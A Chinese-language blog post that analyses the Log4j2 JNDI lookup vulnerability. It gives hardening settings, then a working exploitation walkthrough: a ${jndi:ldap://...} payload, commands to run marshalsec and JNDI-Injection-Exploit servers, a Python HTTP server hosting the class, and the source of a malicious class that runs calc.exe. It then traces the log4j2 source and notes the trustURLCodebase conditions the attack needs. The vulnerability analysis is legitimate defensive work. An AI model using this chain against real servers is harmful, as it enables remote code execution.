为什么我的payload没用——Apache Log4j2 命令执行漏洞细节分析

 

前言

Apache Log4j2 2.14.1及以下版本存在命令执行漏洞

 

加固

  1. 设置参数:
    log4j2.formatMsgNoLookups=True
  2. 修改JVM参数:
    -Dlog4j2.formatMsgNoLookups=true
  3. 系统环境变量:
    FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

禁止 log4j2 所在服务器外连

 

利用方式

//被攻击端poc验证代码如下
private static final Logger logger = LogManager.getLogger(log4j.class);
//127.0.0.1替换为恶意ldap(rmi)的服务器地址,字符串前后还可以有任意字符。
//结尾xxx为按照恶意服务器的提示来,marshalsec-0.0.3-SNAPSHOT-all.jar,随便写。JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 按照提示填入即可。
logger.error("${jndi:ldap://127.0.0.1:1389/xxx}");
# 恶意服务器
# marshalsec-0.0.3-SNAPSHOT-all.jar 建ldap服务,ExecTemplateJDK8=恶意class的类名,否则报错。
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8889/#ExecTemplateJDK8"
# marshalsec-0.0.3-SNAPSHOT-all.jar 建rmi服务
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8889/#ExecTemplateJDK8"
# JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 一键建RMI LDAP服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:\Windows\System32\calc.exe" -A "127.0.0.1"
# 建立 ExecTemplateJDK8.class 下载HTTP服务器,python 2.7
python.exe -m SimpleHTTPServer 8889
//恶意的ExecTemplateJDK8.class 源码
public class ExecTemplateJDK8 {
 public ExecTemplateJDK8() {
 }
 static {
     try {
         String var0 = "C:\\Windows\\System32\\calc.exe";
         Runtime.getRuntime().exec(var0);
     } catch (Exception var1) {
         var1.printStackTrace();
     }
     System.out.println();
 }
}

 

生效步骤

执行 log.info(字符串),字符串中包含${jndi:ldap://127.0.0.1:1389/efalpz}
请求恶意LDAP(RMI)服务器获取恶意class的url,请求url下载恶意class。
载入恶意class,执行恶意class。

 

生效条件

必须是log4j 2。logback,log4j 1.x都不行。springboot 2默认使用logback,天然不生效。
trustURLCodebase必须是true。jdk8 221版本后,默认ldap是关闭的。必须手工打开(如下代码),否则不成功。

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

所以很多网图,都是生效了前两步,因为没用开trustURLCodebase开关,恶意class不载入执行。

 

log4j2源码分析

以此POC为例子,一路按step in进入下图

在 org.apache.logging.log4j.core.layout.PatternLayout中,i=8进入EL表达式解析${jndi:ldap://127.0.0.1:1389/efalpz}
如果调试springboot 2.5.X是i=14

一路跟踪到MessagePatternConverter中,字符串中的EL表达式,这里可以看到。只要字符串中存在表达即可。
从下图最大红框中可见如果this.noLookps=true,那么就不进入解析了。所以,加固前三条生效也在于此。

其它分析可以略过,除了占字数没用什么用处。值得注意的是在MessagePatternConverter中不只有ldap和rmi,看下图:

红框中的参数均可以触发EL表达式,为后期的bypass提供了条件。
截图还有很多,这里就不再累述了。总结如下
log4j 2在格式化消息时,对传入的日志字符串,会当成EL表达式进行解析,除了${jndi开头以外还有${ctx${lower等等,这就给攻击者提供了控制点。因为开发者处于安全考虑,习惯性的通过日志系统记录来自用户的输入信息。当日志级别大于等于系统设置的log.level的时候,log4j2会解析上述EL表达式,出现${jndi:ldap://url时就访问url指向的恶意服务器,按照其指令载入恶意class并执行。值得注意的就是可以参看”生效条件“一节,并不是打出了dnslog就必然可以getshell。

 

springboot2中再现漏洞

禁用logback,加入log4j 2。可以通过配置pom.xml实现如下

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

 

结尾

log4j原意是认为,log字符串是开发者用于标注日志内容,其它错误内容应该在Throwable的异常中体现,但是由于如何打印日志没代码级强制规范,日常开发中往往通过拼接字符串,直接输出变量值到日志,而变量来源于用户输入时,引起了这一漏洞。

(完)